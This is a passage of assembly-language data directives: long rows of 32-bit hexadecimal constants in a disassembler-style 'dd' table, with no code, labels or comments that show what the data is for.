		dd 0A54461E2h, 520E7F5Ah, 0E72E6F62h, 96D8ADDCh, 5490642Ah
		dd 0C7803336h, 1736DBF5h, 7A436A88h, 6E2EE462h,	6A12FAF9h
		dd 0F4E1F0D7h, 3426D0B2h, 81E29FCCh, 0D52E8C2Bh, 44BE7FC8h
		dd 8AA160A1h, 4A06BC48h, 3B89E006h, 98E9CEF4h, 0B10C9BD4h
		dd 0D55ECC8Ch, 0CCDB751Bh, 74CD60AAh, 0FE2AF48Dh, 4B19E6A2h
		dd 85540AB0h, 8C190842h, 95293A11h, 0E7E10836h,	4269C413h
		dd 0A9D82A07h, 0ADDD8956h, 344CFE76h, 103AFCF9h, 7A821FE3h
		dd 0FD42ECC0h, 9E3DAEDCh, 5C8F2BE9h, 599AEF98h,	0F1CB6EF6h
		dd 0A03129FCh, 3A8B23BDh, 5072F36Eh, 999F49E2h,	6BA6DA82h
		dd 0BCE2C754h, 4950E11Ah, 8BFFAFCDh, 48D6BD24h,	0FDA1EDC9h
		dd 5838A125h, 90B897CBh, 8C99FC95h, 848BB9E9h, 858689FDh
		dd 0B9B1C895h, 0F8A2CBACh, 919035B4h, 50147B75h, 16AF11AAh
		dd 0BE85064Fh, 0C27FB5Eh, 0EDB309C8h, 440BB454h, 0E8F7B713h
		dd 0EE61D22Ch, 54FC4E41h, 89039846h, 8ADAC485h,	4C7AF6A1h
		dd 9529BB8Eh, 96E788F5h, 0CBC77960h, 8DCD0B2Bh,	0FD2A89CDh
		dd 39F6B88Dh, 3F16E032h, 0E85AD535h, 1BE28CAEh,	0A629F926h
		dd 8ADCE925h, 57A989F1h, 0F2CD7016h, 0BB5C401Eh, 0CC1E58ABh
		dd 18CC4C96h, 4133711Bh, 0B488D0D3h, 571826DCh,	7629B82Dh
		dd 0EDA1DFE2h, 9122CE5Fh, 5681EDF2h, 7E53D4C3h,	967ED777h
		dd 7417C86Ch, 0C05EBBD4h, 11F2616Fh, 0FDE4BEF8h, 18FC11CFh
		dd 0D4277C9Ch, 1C13C075h, 1F1A14Bh, 87211FA9h, 873B7FC7h
		dd 4D53ECE9h, 2E88188Bh, 9DE46968h, 0C257061Bh,	0FF4BDF67h
		dd 0CB0F913Eh, 967FF875h, 904FFFD0h, 0B7341EE4h, 6AFD8841h
		dd 7FAD150Bh, 542B9B75h, 150415CCh, 7A58C208h, 63A2A7A7h
		dd 9CEF5745h, 0B8EE7E9Bh, 5988CEE7h, 79246B8Ch,	25ADCAF5h
		dd 4FE33908h, 0A071B2CFh, 0E4E0F5C4h, 59D6EE2Ah, 0D7F2CD2h
		dd 9579191Dh, 227A1A7Dh, 8DDE011h, 92E5B82Dh, 752D4379h
		dd 6238E0A6h, 0F92458CFh, 0CE82A4A0h, 901F4B75h, 62155C1Dh
		dd 0E80A8659h, 0B52082BFh, 52134C7Ah, 442B58A3h, 514FA6D8h
		dd 0B1F8E4C4h, 0A54AD8C4h, 4454AA97h, 0C5FAE5B5h, 788874D6h
		dd 1B80F003h, 0A5F3BF19h, 40B6A2F6h, 0E5FD996Eh, 3D2B3896h
		dd 810C026Ah, 0C6F57819h, 0E602A0D4h, 909DC5D5h, 0C9F0792Dh
		dd 5FAFBFEh, 0C539430Ah, 94097A89h, 6A7AF6DDh, 5A02F0F0h
		dd 0A996705Dh, 3AF42E9Ah, 4022D78Ch, 0E1E5F665h, 10026497h
		dd 0E7DD1934h, 0FC3A3EAh, 1D58F5B4h, 7BDA7E3Ch,	0E2B863DDh
		dd 51DFD304h, 9B30AD29h, 624FE5A5h, 0BC7F67EBh,	0E00ACDE2h
		dd 0EEF6AC84h, 0EE1675E9h, 756722DEh, 76494C4h,	0AFCEFC8Bh
		dd 0A796A828h, 33EA8B3Fh, 0D30A6C28h, 0E121FF77h, 9ED0761Dh
		dd 0F4B1C497h, 0AD8EEE2h, 5CB0EE3h, 257CB21Fh, 0D051F1B0h
		dd 0B5F0711Ah, 0ABFAE58Ch, 1451C77Eh, 319F1FBDh, 26E7326Dh
		dd 0A215133h, 0AEECFB0Bh
		dd 0FB5F4893h, 89609753h, 0C15E54D9h, 0DF18D5DCh, 5B0E52D6h
		dd 3BE25E0Fh, 3B5CFD12h, 92E818C3h, 0D715112Ch,	0D3EDF91Fh
		dd 0CF62FC23h, 92E2093Dh, 1599C996h, 9BF4659Ch,	18A02872h
		dd 0C5FCE9A1h, 4FEA3930h, 0D57B6C3Bh, 3C63CBE5h, 0C81C1F09h
		dd 0E19ADB54h, 88E09815h, 48239E72h, 66481C81h,	99DE9199h
		dd 0AA6EFA75h, 34B77434h, 6A5CB571h, 0DA1C45DDh, 7C21682Eh
		dd 86ABA1C1h, 0FC60C828h, 49E8AC10h, 0A3E4EC56h, 0E5D018C7h
		dd 0FE11CCCh, 6A5A4D0Ah, 0FD8983A4h, 6721D89Bh,	0E3DC20D9h
		dd 843FAC91h, 2E5F1B4Bh, 3DE118D4h, 0BB3292DBh,	0BBFDA9DFh
		dd 85EBD8BDh, 0F4C9C09Ch, 0B9A0EA75h, 1D06CF7Dh, 82236EB2h
		dd 3D531CCBh, 0E5EFDE89h, 2E5C4905h, 2417B273h,	0C50EC7D9h
		dd 3F782144h, 0CCFE1F94h, 0C5C7A2F0h, 969D155Fh, 0CDD719A9h
		dd 0B3E7D542h, 0B93ABA6Bh, 88E11BD9h, 0EE5AEC96h, 0D510BC94h
		dd 0D786E495h, 43F06419h, 0F148C1DDh, 53F77343h, 8E21EBA8h
		dd 0BD7A1917h, 0ECC56FEAh, 4699531Dh, 0F9DAE3DFh, 1AE3A526h
		dd 0E1FCA682h, 0CD12DC90h, 6A24AB55h, 0CD92D9C7h, 69C2E79Dh
		dd 86D67190h, 1E79382Ch, 0BB5A9F2Eh, 0C9C96FDDh, 936B3917h
		dd 0DB0CAF1Bh, 0B336CDF9h, 0C75DF80Bh, 0EA4D428Eh, 841CF0B8h
		dd 0CE3F4BDBh, 6A7AE615h, 0B206DCC7h, 573F0BE8h, 0C2521A61h
		dd 79094975h, 671DE95Bh, 0CD6718D2h, 0FC7D7BAAh, 0C3BD7379h
		dd 9AAF1E7Ah, 0F7D9E6B9h, 0EDF09169h, 0E5F08C09h, 91F08609h
		dd 8DF0B009h, 17E0AA09h, 8BBE9055h, 0E5DCE0D6h,	28D2CC97h
		dd 79BAD916h, 9BF93888h, 85B3E8B1h, 9636210Ch, 0F9BFAC69h
		dd 0C4BB66FFh, 8A7A1819h, 5BEE9928h, 0F4026588h, 7536D519h
		dd 0FA1AF559h, 45099A11h, 9A41975h, 0B0D04D1Dh,	0B4E0CF7Eh
		dd 7811D6E9h, 5221D86Fh, 0E3776093h, 8B0CCF5Ch,	0C4276DB1h
		dd 65E3EC40h, 6C7A1F6Dh, 50F56B89h, 0ACAAD631h,	0BC7AD088h
		dd 0B3D699E2h, 828136DBh, 51B9F847h, 0DA7E37B9h, 0DADEAB6h
		dd 554DCE0Fh, 0BF1EFFD7h, 548DA0DCh, 49B20FD8h,	0A0BF9D5h
		dd 162188DEh, 941EAF33h, 4E301C59h, 819ECAD6h, 2011B5Dh
		dd 0BBFEA509h, 0A19B5B44h, 571D2022h, 0E0A01Fh,	7C3558h
		dd 25F165E7h, 64497308h, 0B1AFFED7h, 0CB19861h,	0B0F3113Dh
		dd 0DD873E6h, 0CF9D52CDh, 8F89AF8Fh, 0AFEF55Dh,	96F75936h
		dd 708DE939h, 0CBBC11CDh, 0F8B0A05Dh, 0E2469E12h, 0C7A913DEh
		dd 0FD043931h, 853C133Ch, 43DBC481h, 2DE3E015h,	0C28A7C4Bh
		dd 0E7C6C007h, 836FB6B8h, 0CB161634h, 0F6199D79h, 0CB8F1971h
		dd 3DE2C37Fh, 0C61ADEE1h, 0E91ACB1Bh, 82D157E6h, 55FFBE07h
		dd 0AFC19F34h, 7B69B3C1h, 0D9B2AF44h, 3A8DC2DEh, 0BD5DEC20h
		dd 7BA1EB34h, 63625330h, 0C157C0B1h, 98CAC775h,	0D76EFA3h
		dd 0F65F05D5h, 77B4D555h, 57044C28h, 0B4C8C922h, 47E5E0AAh
		dd 994040C2h, 3041498h,	0C40156F8h, 93925F93h, 0EF3F62E7h
		dd 7AA2C406h, 835BDFh, 1F4C8177h, 3B7AD916h, 0E0A613ADh
		dd 84C2E9E1h, 0A94A9498h, 0E6687858h, 4D1D3795h, 0C0F6CFDEh
		dd 0A1BAB4DFh, 0B9DED234h, 1CE2FEA1h, 0FE50FC2Ch, 0F62AC031h
		dd 2F6854DDh, 129428D9h, 7D539BDDh, 5285E8DAh, 26F63910h
		dd 61D88020h, 0B9F8C074h, 0AB382BF5h, 3F99274Ah, 0DDFF3690h
		dd 0D4FF9D3Ch, 29DD9B35h, 40FCD4FFh, 8E7AC0E5h,	0B03F9898h
		dd 0CA9AE1CEh, 2DF29C58h, 0FA50CF3Fh, 0A602512Ch, 0F6DBC1B1h
		dd 0A8C0FDADh, 0E32B6561h, 0D0DAEC5Ah, 0E04E190Eh, 0E34BE807h
		dd 14CEB18Bh, 0CC504003h, 0A59E9E16h, 0FF0310E1h, 55848B8Dh
		dd 0F995711Ch, 0E2A8391Dh, 4DE9DC55h, 69EC992Ah, 5597972Fh
		dd 0E5AC9860h, 0C627D85Ch, 3A41CA6Bh, 0DD56F335h, 0E5DAC1CBh
		dd 77E8D8E4h, 5604CC2Eh, 0E67A8158h, 0C627E85Ch, 6E41CB47h
		dd 0C96CF72Ah, 0CA05AECEh, 55BFCB96h, 119F2A92h, 7219D29h
		dd 1107BC2Dh, 0BFAA4B71h, 7FD3A248h, 2A63F958h,	0F114D120h
		dd 0D36E42DFh, 0E154C25Bh, 446CA839h, 94606492h, 0CBB9D59Ch
		dd 928D5D92h, 4D96AFCEh, 4E51DE8Bh, 28868C1Bh, 7517A418h
		dd 7B27C666h, 86E9E831h, 0ABBC42Bh, 0F0EAA57Eh,	0BE657C44h
		dd 113CB4C7h, 93711C01h, 5379D082h, 0FEBF005Fh,	0B8B5A6B0h
		dd 0EF580A1Dh, 87B554B8h, 21C011CDh, 91C7C23Ch,	2E3EF0A4h
		dd 0A99EBC63h, 95EA9D9Fh, 1907609Ch, 2D151424h,	0EC58AA8Bh
		dd 0E484F8D6h, 0CC3F4C18h, 6C3E18C3h, 0AE3821BAh, 84D95FD8h
		dd 0CBF28B8Ch, 0BB3F6B75h, 8DE8B8D5h, 58FF33AFh, 456DAF2Dh
		dd 6A0E505Eh, 3DD8F830h, 28FDF2EEh, 0D8EFA363h,	0C7EA6217h
		dd 0EC9BC8CFh, 8FD54FC9h, 47E2A18Bh, 0EC7EB33Ah, 0E6C33015h
		dd 88494E6Dh, 69093CCDh, 5863FD5Dh, 89E6311Eh, 0FE3D91B4h
		dd 433DC7D3h, 4BB51405h, 8478513Fh, 0EBAAA0D1h,	6E3C7B34h
		dd 0E989B098h, 0B8FFB7DDh, 0EB3FA934h, 0B03A69FFh, 910027D4h
		dd 6E30FFC5h, 5E31D39Eh, 92E2D82Ch, 2E2F1E91h, 21A6F82Eh
		dd 5C31150Fh, 21DD01F5h, 0C8AACC44h, 8E27E375h,	0BFD576B1h
		dd 0ED5498BCh, 0CF8BA99Eh, 9299CE0Ch, 8DFD8B7Ch, 0E518D413h
		dd 916C158Ah, 65EDB395h, 9938DD36h, 0ACE5ACE0h,	0BECA9ABFh
		dd 0D52B9F0Bh, 0E8CF385Dh, 0E63EB12Eh, 0ECB9FF83h, 0EB7E98EFh
		dd 2CE7B335h, 0BE96E702h, 0E5EBE79Bh, 559DFF22h, 10C60574h
		dd 0D0D98928h, 0ED5A8231h, 74BBB6DFh, 831C262Fh, 0B850ED09h
		dd 0CCC5B340h, 0ED421DC5h, 8D0EE03Fh, 293A2CC5h, 58DBBFDBh
		dd 0B35CE41Bh, 0A05E7FD0h, 612EA9D5h, 81EAE01Bh, 8AADA566h
		dd 89ECB846h, 0A7175EB8h, 0C2A1326Dh, 6A59F4D0h, 0CC271BA6h
		dd 0D14ECEE2h, 9B78F49Eh, 1D1CF8CCh, 0EF1858BDh, 4B467CA8h
		dd 0C0A8EF57h, 38DC419h, 5A4447D7h, 2C068736h, 65F3B019h
		dd 0CC07A40Ch, 7EEB4E7Dh, 0ACCB70A1h, 1372350Bh, 14AAC064h
		dd 77AB6A2Bh, 0C0C89BB8h, 0EF3EE639h, 5043E0B3h, 2D855BE3h
		dd 66D4DFC1h, 51912035h, 0CEFEF3B0h, 0C1D0BF29h, 0BC59D23Ch
		dd 2124F027h, 0BB59CED8h, 7F140B10h, 8D4A906Ah,	93A99AEh
		dd 53EFB132h, 0D9CAB6E2h, 57CFB336h, 2E29A209h,	0D046FEACh
		dd 12314648h, 3F93256Fh, 0E7052FEDh, 4CDD0E75h,	0A4C90722h
		dd 6677A33Eh, 49DE9C2Eh, 6C3385C9h, 0D40C43A4h,	7299EF3h
		dd 72B258E4h, 0C51037F0h, 0DA26D2C0h, 9949FBE2h, 0C758DE57h
		dd 61CBD0F5h, 0F43E5CFEh, 0E8DEE0C2h, 0C1A7F495h, 42722A95h
		dd 0EA49F1CEh, 0A936DABh, 0A3FCF39h, 0B45E402Dh, 643DA4FCh
		dd 0C8ECBCF1h, 27AD9D2h, 396CB02Ch, 4EDBE922h, 7A334DCFh
		dd 8B5087D9h, 0CFADD082h, 888B7B2Ch, 7F465A3Eh,	0E1FADBA9h
		dd 0F4CA44FCh, 49982186h, 0FE30FC65h, 7B3E71BBh, 2DCD8123h
		dd 993FC4CAh, 0B54B129Dh, 78AD676h, 2334EC89h, 4D5F78F1h
		dd 770F964Ah, 2E59E40Eh, 0C712F379h, 5D8FFB59h,	4D6B6706h
		dd 382C6C2Ah, 6CAF3420h, 0FC1127F4h, 439295A7h,	0A97BC3C2h
		dd 0EA83CFCAh, 0C614742Bh, 44277C34h, 0C394E0C9h, 0D35AB918h
		dd 47329449h, 0EA745BAAh, 0FD288972h, 0F0B57A25h, 8653B798h
		dd 47631DB2h, 2538455Fh, 0F0D5E807h, 46EAEA9Eh,	0E98B7CAEh
		dd 1429F11Eh, 1E1BF321h, 0D2F1B4C9h, 49EEE521h,	80131ACAh
		dd 69ED214Fh, 0DA31FE63h, 8A93E8D6h, 0EB310022h, 0ABEEF017h
		dd 9F0DF466h, 900E942Eh, 0F815C149h, 694480C0h,	0E2C66342h
		dd 717C4541h, 8994204Ch
		dd 4D2A9F6Dh, 90EB162h,	851642D5h, 2DBEA1FAh, 0C58FA2E0h
		dd 6A3E0371h, 165005CEh, 0E2EDAE2Dh, 0FA279C7Bh, 5D796F75h
		dd 0D2ABEF83h, 425B7CA7h, 0A03DF6B7h, 0EB59F8D2h, 87D66126h
		dd 9C9C85C0h, 8E236608h, 0D41BAB10h, 0E932FA5Fh, 0CA3D6793h
		dd 0FFBD9F1Dh, 5B80E0A9h, 0EA5F3F09h, 14CD311Dh, 95320B36h
		dd 0FE51E31Dh, 2F7AF00Bh, 0CE67D49Ch, 4522B815h, 2E5959F7h
		dd 0A5AABCF5h, 4F8B3914h, 0F558F404h, 0D9A07A75h, 0A8DAE556h
		dd 0D430991Dh, 4F7AE44Ch, 0C5A4A111h, 0DCB3910h, 2E233F83h
		dd 4786E4EBh, 0BF7AE21Dh, 452FECA4h, 860F3735h,	0C91D536h
		dd 0F079D24h, 5587CD0Ah, 9B204DF1h, 0A8ED0C98h,	14BF6C50h
		dd 4B3A1A96h, 0FF1B5B36h, 0F95ACE0Ch, 0EDFEB1Ch, 0D3FEE86Fh
		dd 0F1D49824h, 4010F10Bh, 5A8A9220h, 0F4F786DAh, 843FFD8Fh
		dd 0FF070CB8h, 0C31B67DCh, 641EB435h, 9563E8D5h, 5D54EE84h
		dd 1218B097h, 7950159Dh, 9395D629h, 9D67E891h, 9B29F055h
		dd 0F0A0F18Dh, 0CD032213h, 89FCB334h, 9536E735h, 0FAA3F09Ch
		dd 15FEC975h, 8B14AD2Fh, 525383D9h, 1461AD87h, 8331321Ah
		dd 0D355A083h, 0A15F2DDh, 0E2BD989h, 0FB94B91Ah, 0E5764130h
		dd 99069951h, 0B9D4739h, 451FC1A3h, 1E7AEB92h, 39DD40F2h
		dd 266E892Eh, 0ECD9C315h, 4BB0FE64h, 0E060B56h,	0BED1C1CBh
		dd 0E53ADBDFh, 0C1CF141Bh, 471B9C51h, 0B1F86155h, 9A49C358h
		dd 0F19FA0C6h, 0EA2EDA8Bh, 9330111Ah, 0BA3E20CFh, 89CFAC69h
		dd 0D517FCCCh, 83323F46h, 462AD1C6h, 39DAF301h,	0C5FEF7C9h
		dd 0F5C4D23Ah, 0EDD812F8h, 11BA8927h, 0F6BEE7BEh, 0FCD3D623h
		dd 3E1451D9h, 0EB76C589h, 0FE76DE85h, 0C8A0C41Ch, 0E3CACF26h
		dd 910ABA08h, 4FDF1327h, 773E34CFh, 0E90E7169h,	9FC4F39Fh
		dd 0E38BDE68h, 0F2D3D3A1h, 3631DBCEh, 0AB40BF1Ch, 8BC76D27h
		dd 0F745ED35h, 0DC354DC0h, 0CD7EE815h, 0D9DC6528h, 9D15FB98h
		dd 0AC19FCCAh, 4F334EDDh, 9AF3A2h, 4942A321h, 23CAFF77h
		dd 778DEADAh, 5DCDADADh, 8DC6CCA2h, 611D04C0h, 0B9DB4381h
		dd 45364A33h, 9E0ADBF1h, 0BA54F1C0h, 0EA42DE8Bh, 99C13CFDh
		dd 1D330114h, 0D351F969h, 40E6E220h, 9415EB37h,	2A0FFD79h
		dd 0A01DCF3Eh, 1650042Ch, 0F513E220h, 4E36359Dh, 0F5B8A205h
		dd 0F84920C6h, 6319A689h, 0F9F9233Ah, 0EB7FD588h, 0D2287007h
		dd 45A25415h, 0E9032540h, 1B00C1D9h, 0AE1A1D36h, 62FE132Eh
		dd 0E9A19EC0h, 43D2948Dh, 36BDC303h, 0E2038F3Bh, 38C2AC4Eh
		dd 95F76BF9h, 0B22D942Ah, 51788D8Dh, 75DF7BC0h,	766C7AC2h
		dd 0A8367BBDh, 0E121DABCh, 7D0DA68Fh, 0A5BFB4B7h, 0F19638CAh
		dd 0C5C0509Bh, 0E221BB0Ch, 0D4213E6Dh, 0D5C1EFDBh, 4C28E049h
		dd 0C59EF0E4h, 2B21CB09h, 0CD2298CDh, 0B59BE02Bh, 0F82FE11Dh
		dd 0F5D1631Ch, 0C55CFA1Dh, 0C6117121h, 1609077Bh, 2834586Ah
		dd 0DC72F52Ah, 0DABD2B0Eh, 2131720Dh, 732975Fh,	868CD69Dh
		dd 0CE40D0C4h, 0B044A7ABh, 21A91D06h, 55D5897Ah, 0B3DEEE92h
		dd 97873E35h, 9183368Fh, 0F61E746Ah, 23E17A68h,	12E950DCh
		dd 6D6FFBF5h, 5D8AF0EDh, 8F6FCCCh, 5371FC75h, 46CCF9F0h
		dd 4C56381Fh, 0FA6114DAh, 8952D041h, 9377CE1Ah,	245B6B4Eh
		dd 0C75AAD9Dh, 0FB2E6289h, 0FDDD02ADh, 997DCA77h, 16D7FA55h
		dd 2232DC1Bh, 4B24113Ch, 575DF480h, 0E2840C1Fh,	0F0631DDFh
		dd 93A4DA0Fh, 0CC06F1B7h, 0D02CB414h, 0F926C0A1h, 9BB319F9h
		dd 0E39D09FFh, 0FF0D59F7h, 0F62E89EFh, 4D1CF0F8h, 18A51849h
		dd 26C6C954h, 0A60A7C3Ah, 931AF0D0h, 0CACB590Ah, 0CA5B394h
		dd 0FBE2C6A4h, 0FAB0C121h, 0A950B742h, 0D0A316DCh, 0E534D024h
		dd 32E444D8h, 943FB719h, 185DF71Ah, 0D27B09D2h,	0F0323918h
		dd 0A818B1DEh, 0C622FEC5h, 0C54DAE56h, 65F3878h, 2B4BBC6h
		dd 0FF4DEE26h, 6DE1B172h, 0F0723F77h, 8A4ABEE1h, 0C576631Fh
		dd 0CC1C2797h, 2BF0F340h, 0F32CEE5Bh, 8EAF5E8Ch, 7AF6211Ch
		dd 6534771Dh, 6BD4EEBEh, 0D8E02561h, 5EC62A21h,	6E5F8BCAh
		dd 3C23FCC8h, 54489E25h, 0CFF8FEF8h, 2D36ADC3h,	0ED886D07h
		dd 88EF9829h, 2D21F118h, 9DD1EF72h, 9EA6F4B2h, 7501BA9Ch
		dd 40E2431h, 5FEA5982h,	81F3E5DDh, 481A8179h, 708EE18Eh
		dd 5684E783h, 2E1C809Dh, 55534EB5h, 792CDE96h, 0BC8CA45Ch
		dd 6B422E79h, 8522E69Dh, 4839BDFh, 0F3CDD13Dh, 0EEF3E0F5h
		dd 88DDBA7Fh, 95D0A421h, 0A67834CDh, 0D69C90B4h, 29181F6Fh
		dd 0BEA4B27h, 72281156h, 0D9207BD9h, 0C4A97292h, 0C273AFC1h
		dd 0BBA7E56Bh, 16D1AEDDh, 860E414Ah, 5E197AC6h,	550990C7h
		dd 0DE523028h, 2116F0A4h, 0E927DE6Fh, 0F4E01B88h, 56E1A11Ah
		dd 565EDEA9h, 81F270F5h, 62A13C6Eh, 12BD3FD6h, 90E46D30h
		dd 0FB64E94Ah, 0F5F1CA77h, 1830A29Ah, 4C89DD08h, 0C9A81B87h
		dd 0FB2255BAh, 0F6075145h, 7C84151Ch, 52DEDFAh,	92E0A058h
		dd 0B93CCF04h, 2428ED7Bh, 0B657A2A2h, 94A5B7E0h, 5427D8DDh
		dd 85B1A189h, 0A49AEF8Bh, 36246589h, 49971C28h,	7A1618D1h
		dd 0B72DE0F7h, 0E889C860h, 0F8573615h, 0BB3A6495h, 41B2F978h
		dd 261B13B4h, 979344Fh,	44F97813h, 0B668C7CFh, 0FE20E7CAh
		dd 0DE7AD0CAh, 4DFD5AF7h, 0DAA2F82Bh, 312B402Ah, 0C9CDE1BFh
		dd 26E01D96h, 81EF089Bh, 0C0D9DFBBh, 499B3F75h,	0D0BA7DBCh
		dd 5C258914h, 2B58D644h, 0F190CED9h, 4DA1C309h,	67247A89h
		dd 7A28A3DEh, 979350EAh, 0F4017E1Ah, 8CA6E86Eh,	0FAADD840h
		dd 0C09FF075h, 82E66EBh, 6151A114h, 0F75EA2F8h,	0EBB7875Eh
		dd 0FFCB0988h, 8CB23924h, 5A0267C5h, 0F85D9114h, 82F0380Ch
		dd 33485412h, 7B3F2B99h, 5CBDA0DEh, 1187CF16h, 0F55FDF21h
		dd 0BED67136h, 5C10A00Ch, 82B0D82Eh, 0F84F0C5Dh, 0EE67D8F9h
		dd 0F520315Dh, 0C498FD2Dh, 4B972440h, 0E25B23Eh, 3DB2DE42h
		dd 0CF67491Fh, 0B8DC9B24h, 99CC249Ah, 2261C274h, 8E30D2E9h
		dd 1625E0FEh, 0C92168AAh, 0A4246D89h, 655AEBD5h, 16DC3711h
		dd 99E0F027h, 0FBF81009h, 0F720BC2Bh, 463171Ch,	0CFC86D3Fh
		dd 0EB24726Ch, 0EA02FE59h, 85160096h, 92B664E9h, 8E05987Eh
		dd 5170CD13h, 8221872Fh, 0C56CF038h, 0CE7F291Dh, 40250B1Dh
		dd 0F9B188CFh, 0E9A7FA11h, 0D1E114D2h, 0CCAA7A0Fh, 9B34E095h
		dd 67311882h, 0FE6FA11Ch, 0C0496F92h, 63265175h, 0B6FD363Ch
		dd 0EC899010h, 597AECFDh, 0B9AE95C6h, 95A687C9h, 0C6594D49h
		dd 8EA526F9h, 0BE79EC8Fh, 8228DB10h, 0C84F4F41h, 0C7492FA4h
		dd 0E922182Ch, 0EDED8C48h, 0D4EF44B8h, 0C66F9D3Fh, 9435152Fh
		dd 0C24FEF17h, 8EBA1DFEh, 0C9ECA5DBh, 0AA27E11Fh, 948767ACh
		dd 9B5D8CADh, 1DEDBC46h, 22204D52h, 3CED2717h, 39078B97h
		dd 0F821714Fh, 0F8D86C86h, 0F4A4AF11h, 0D0BCEABAh, 0E35E8C48h
		dd 92A224ACh, 142B691Dh, 8926BD74h, 317ECE57h, 0C1E059A4h
		dd 0F9309D11h, 20697159h, 0C2DDEB9Eh, 0F3AC475h, 85676F65h
		dd 0AEB7E6D7h, 40F68CECh, 0FB250E37h, 0F3FB1DF7h, 0AE5BE249h
		dd 75F946FDh, 0F1EF9B25h, 2E993911h, 0CDC21BE3h, 0C3CD5FC6h
		dd 92E463CDh, 0A18D4C4Fh, 448A808Dh, 0CC7B5F0Bh, 0C28F380Ch
		dd 0E22D072Eh, 0B570450Eh, 40621913h, 5627BBB1h, 0C7EB6917h
		dd 7E5EF0ADh, 0EDE1E0BCh, 0CCA3E012h, 256B1C9Fh, 81C6DD0Fh
		dd 6ACEB2E4h, 0D4215641h, 5A8E6A97h, 0A43F3805h, 51A6A05Fh
		dd 1D817F19h, 8CCEE150h
		dd 0A9D73A0Ah, 0AD85A81Ah, 2BC1DE7Bh, 3F82E81Dh, 88C90F60h
		dd 43028FF9h, 422CA91Ch, 0F96C8F98h, 51D83DDEh,	53271E5Ah
		dd 95BD5C10h, 0CCB4391Ch, 49B2808Bh, 4F9DB38Bh,	68AA1842h
		dd 0CE50DC10h, 0A4EF3844h, 5A2F0088h, 0FF739916h, 22CC1B8Eh
		dd 5D4CCE0Fh, 2CDDD1BAh, 0A925930Bh, 255B082Ah,	232EE493h
		dd 0ADD1B4C7h, 5640A448h, 9C31E106h, 5F0D191Fh,	94AB449h
		dd 0CF471F8Dh, 0CCB17295h, 0ECBCBCF5h, 0CC7A3918h, 0BAAE992Ch
		dd 885EFF51h, 45DC5B21h, 452F7A98h, 0C198A4ABh,	0CB21FE44h
		dd 90AFBA94h, 822DA25Ch, 2E15EC83h, 92F5884h, 0AFA71F15h
		dd 8C826ECDh, 0BB69D70Ah, 0C2F40CD9h, 96D5E3B3h, 0EE9A0CFh
		dd 60B32C54h, 0EAEBE1DFh, 0C62C6F37h, 5A4A97Fh,	0CEE9001Dh
		dd 91A5472Eh, 63A1A96Ch, 0C32B10B1h, 0D02B4BC1h, 0D6E67E07h
		dd 8C2709A8h, 4A9C8CFh,	37A7EF1Bh, 8B6B43B5h, 0C42F3114h
		dd 0FD4DE3B8h, 0C789B597h, 6239A224h, 0EA1A2628h, 286545E8h
		dd 0A8E0ACDAh, 0C127A4F3h, 0CF1E6045h, 0C25B4EACh, 22133988h
		dd 79C167D1h, 0E4A8BF78h, 0EE5ABA74h, 0CAF54F4Ah, 0C702101Fh
		dd 0E1F9D16h, 0E710E995h, 0CAEAC90Ah, 0CFE59892h, 0DCE1C54h
		dd 0A01F1431h, 0A32AE86Fh, 4DD96419h, 17ABEA1h,	0FCA2CF98h
		dd 8E5E9A49h, 0E8655505h, 7C0DBFB9h, 2A06CE0Ah,	0C5196997h
		dd 0D7A31A2Bh, 245BA92Ch, 0D98194Bh, 0BAAE2FA1h, 0CC4983ECh
		dd 61ACC33Fh, 0E75FCB89h, 8A0D4DB6h, 2E3AF695h,	0B5E0F361h
		dd 6AC6F039h, 0CD366B20h, 6E8CE79Fh, 8F6F0656h,	0C7FAA47Ah
		dd 0CE38A66Bh, 0CA42ED08h, 0D9854F88h, 7E2EA009h, 48848E0Fh
		dd 0ACFC1C6Ch, 45500AD7h, 0CCF65EB9h, 21FEBFDCh, 0F04172DDh
		dd 5486D275h, 0F05AACCAh, 0F163AF75h, 4F18852Ch, 0D47283A9h
		dd 43CEE08Ah, 0A99D2AFDh, 27DD3BBEh, 0C5266315h, 0F6821039h
		dd 0CDED2F75h, 0CDA4D1F0h, 0C47D392Dh, 0F6A0BB2Ch, 2DDDDD00h
		dd 0B5C5FF27h, 815BDF23h, 0A0B93468h, 552C1ECBh, 0F4A48515h
		dd 0C51E38FBh, 0B4156134h, 0B23E1D56h, 5A2F2C97h, 0E0ED330Bh
		dd 0C8D4330Bh, 105C05DDh, 95EAD3A1h, 0D3ABAE0Ah, 0C6F8C52Bh
		dd 0C31F88FBh, 9E3AE096h, 8179F408h, 9C2F6F1h, 0D95A9A0Ch
		dd 9D46DD0Ah, 0F93F9D2Fh, 0D53E5709h, 0FA5FCD6Fh, 430B9DF3h
		dd 0E5B93871h, 4C6EF396h, 0B7056BE9h, 2E2627E4h, 1EB19ACh
		dd 0C09FF0E2h, 0BDE44294h, 7ADA5D35h, 9867CADDh, 7B910D55h
		dd 9CAF422Eh, 853377EDh, 0BEE1FE86h, 4A5AA6BFh,	0C4184529h
		dd 0D9EFC91Ch, 9A5FDA89h, 1854AE33h, 3312BE67h,	317A6535h
		dd 0ABEF012Ch, 0E19DECA4h, 0BB281D38h, 0CBEE851Ah, 372FC497h
		dd 16AEF80Bh, 0C75F7A81h, 0E87AFB65h, 0C5361A4Fh, 2D3DFA82h
		dd 9DC2B0Ah, 0CDF4DD0Fh, 65312691h, 0F385D15h, 462D369Eh
		dd 2E3930DDh, 9E51DF71h, 1A9A6978h, 5D5A795Fh, 1DB6D905h
		dd 0C093FFDBh, 12889A8h, 632AF0C8h, 8DCA078Eh, 19702C0Eh
		dd 0F620E30Fh, 8B367A0Bh, 3938FCFCh, 9D50D0CFh,	0F5133ABDh
		dd 0A81E1FE3h, 0FA38F8DBh, 7C2C9BBh, 0A206008h,	0C6078869h
		dd 0DB5C4F75h, 0CF690831h, 0B1C57314h, 1400A646h, 0F157746Dh
		dd 0E34F3932h, 0CB22F019h, 377AC2ECh, 0F3446319h, 48B31D8Ah
		dd 0E944F5A4h, 0ABE05A9h, 0EBDC482Fh, 0F210BC1Ch, 0BC0D15D7h
		dd 0CF7DA48Ch, 6B6C54C2h, 0D05F82E1h, 0D4E5FF75h, 50F88D14h
		dd 0B7C30F1h, 0F930C928h, 0AC9A9D8h, 8D9A811Dh,	7A5F1B14h
		dd 0C325FFBBh, 3BF5E099h, 0FD19660Dh, 73240F75h, 13687FECh
		dd 5860FF53h, 5B96C31Fh, 73AD675Bh, 0FC182389h,	8877EB39h
		dd 0BDFA6F0Eh, 0D74E4935h, 0D4939003h, 0CACE188Ah, 4A5EB8FDh
